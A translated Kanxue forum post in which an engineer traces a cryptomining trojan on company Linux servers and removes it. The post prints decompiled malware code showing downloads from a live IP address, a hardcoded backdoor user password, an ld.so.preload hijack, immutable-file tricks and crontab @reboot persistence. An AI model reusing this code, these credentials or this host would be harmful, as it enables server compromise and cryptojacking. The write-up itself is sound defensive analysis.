Since I changed my job position, I haven’t researched reverse security for about 4 or 5 years. I thought I would have no connection with this profession again, but unexpectedly, today I had a chance to “enjoy” it again due to a random opportunity.
Recently, my colleagues in the company have been constantly reporting that the system on the project is very slow. At first, I didn’t pay much attention since it wasn’t my project. However, I suddenly heard a colleague exclaim, “Why is our CPU usage as high as 99.8%?” At that moment, I instinctively thought it might just be a bug in the program causing the CPU to spike. But when I used top to check which service program was causing the explosion, the output showed that the total CPU usage of all programs was less than 20%. So the question arises, who is causing the remaining 79% CPU usage?
Because I haven’t been in contact with security for a long time, I thought that trojans were mainly ransomware now, but the company’s data files had not been encrypted or received any ransom messages. Then, I opened another server on the same local network, intending to redeploy this system to check the issue, only to find that the backup server, without any system programs, still had a CPU usage of 99%. I suddenly realized that the current problem was “not simple”.
At this moment, I realized that the server had obviously been turned into a mining machine. Since I had the opportunity to get back to my old profession, I was ready to analyze the situation seriously to see which little troublemaker was causing the chaos.
Since the normal system couldn’t use top to view specific system processes, I decided to use busybox and check the specific processes using the top tool within busybox.
However, I didn’t find any valuable processes, so I had to change my approach. Since I already knew there was a mining program in the system, there must be startup tasks initiated within the system. So I executed:
@reboot /var/log/log > /dev/null 2>&1 & disown
Well, isn’t this a blatant violation disguised as a log file?
This is definitely a trojan program. I will download it and analyze it on the platform to see what operations it performs.
This is definitely a hijack. No wonder the regular top couldn’t query the processes; I originally thought it would end here.
I tried to clear the startup items, but after reopening, I found that the startup items still existed. So it was obvious that there was another program in the background continuously monitoring changes. By using auditd, I discovered that the second target /usr/bin/log appeared.
I continued to copy it to my local machine and opened the long-sealed IDA. Without saying a word, I directly forced it in and continuously pressed F5 to output crazily.
The result was evidently delightful, it executed various little operations in a dead loop.
while ( 1 )
{
check_and_start_ssh();
check_and_run_crontab();
check_and_move_files();
ensure_user_exists("systemd");
......
}
if ( (unsigned int)password_needs_update("systemd", "Voidsetdownload.so") )
{
printf("zhengzai gengxin mima %s...\n", "systemd");
set_password("systemd", "Voidsetdownload.so");
}
Setting immutable attributes for the trojan program file:
if ( file_exists("/usr/local/lib/sshdD.so") && file_exists("/usr/bin/log") && file_exists("/var/log/log") )
{
if ( (int)set_immutable("/usr/local/lib/sshdD.so") < 0 )
fprintf(stderr, "cuou: wufadan bahu wejian %s\n", "/usr/local/lib/sshdD.so");
...
}
Updating the environment and executing the script:
update_ld_preload();
if ( file_exists("/var/log/log") && !script_ran_4799 )
{
run_script();
script_ran_4799 = 1;
}
Downloading the trojan program file:
if ( !file_exists("/usr/local/lib/sshdD.so") || !file_exists("/usr/bin/log") || !file_exists("/var/log/log") )
{
puts("zhegzai chonxin xizai wejian...");
ensure_files();
}
Remotely downloading the trojan program from http://147.45.42.44/downloads/:
void ensure_files()
{
if ( !file_exists("/usr/local/lib/sshdD.so") )
{
puts("zhengzai xiazai sshdd.so...");
download_file("http://147.45.42.44/downloads/sshdD.so", "/usr/local/lib/sshdD.so");
set_executable_permissions("/usr/local/lib/sshdD.so", 0x1EDu);
}
if ( !file_exists("/usr/bin/log") )
{
puts("zhengzai xiazai log...");
download_file("http://147.45.42.44/downloads/g7c/log", "/usr/bin/log");
set_executable_permissions("/usr/bin/log", 0x1EDu);
}
if ( !file_exists("/var/log/log") )
{
puts("zhengzai xiazai script...");
download_file("http://147.45.42.44/downloads/log", "/var/log/log");
set_executable_permissions("/var/log/log", 0x1EDu);
}
}
Trying to add startup items:
system("crontab -r");
v3 = fopen("/tmp/crontab_edit.txt", "w");
if ( v3 )
{
fprintf(v3, "@reboot %s > /dev/null 2>&1 & disown\n", "/var/log/log");
fclose(v3);
system("crontab /tmp/crontab_edit.txt");
}
else
{
perror("cuou: binji crntab shbai");
}
This makes the entire trojan program very clear:
Remotely download the trojan program from http://147.45.42.44/downloads/
Mining trojan program: /var/log/log
Continuously listening trojan program: /usr/bin/log
Trojan dynamic library: /usr/local/lib/sshdD.so
Then modify the /etc/ld.so.preload configuration file content to load the malicious dynamic link library
Now that I understand the overall trojan process, I have a solution. First, use iptables to block access to the address 147.45.42.44.
sudo iptables -A OUTPUT -d 147.45.42.44 -j DROP
sudo iptables -L OUTPUT -v -n
Since the system has already preloaded the virus’s dynamic library, we can enter a temporary system with a USB drive or use:
to enter rescue mode (similar to Windows safe mode). First, modify the immutable attribute of the trojan program file, and then delete the file.
At this point, the mining program should be basically cleared. Then, let’s check with top again:
Hmm, the effect is very satisfying. Finally, while wrapping up, delete the users that should be deleted and modify those that should be modified.
Since this system will continue to be used during working days, I cannot redo the system or trace the trojan for the time being. If the server is accessed through vulnerabilities, the remaining tasks will be handed over to the operations and maintenance colleagues to handle.
Kanxue ID: aimhack
https://bbs.kanxue.com/user-home-676504.htm
*This article is an excellent piece from the Kanxue Forum, originally by aimhack. Please indicate the source when reprinting from Kanxue Community.
# Previous Recommendations
1、PWN Introduction – SROP Mentorship
2、A Variant of Gamarue Virus with APC Injection
3、Brutal Fuzz: Performance Enhancement
4、Discussion on Various Injection Methods for Android, Implementation of Open Source Injection Modules
5、2024 KCTF Water Margin – Anti-Obfuscation
